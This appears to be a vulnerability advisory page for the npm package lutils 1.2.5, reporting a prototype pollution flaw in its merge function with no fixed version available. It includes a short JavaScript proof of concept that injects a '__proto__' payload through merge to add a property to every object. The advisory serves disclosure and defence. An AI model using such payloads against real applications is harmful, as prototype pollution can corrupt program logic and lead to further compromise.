lutils@1.2.5 vulnerabilities

A few reliable utils.

Direct Vulnerabilities

Known vulnerabilities in the lutils package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

lutils is an A few reliable utils.

Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function.

PoC

const lt = require('lutils');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
lt.merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for lutils.

*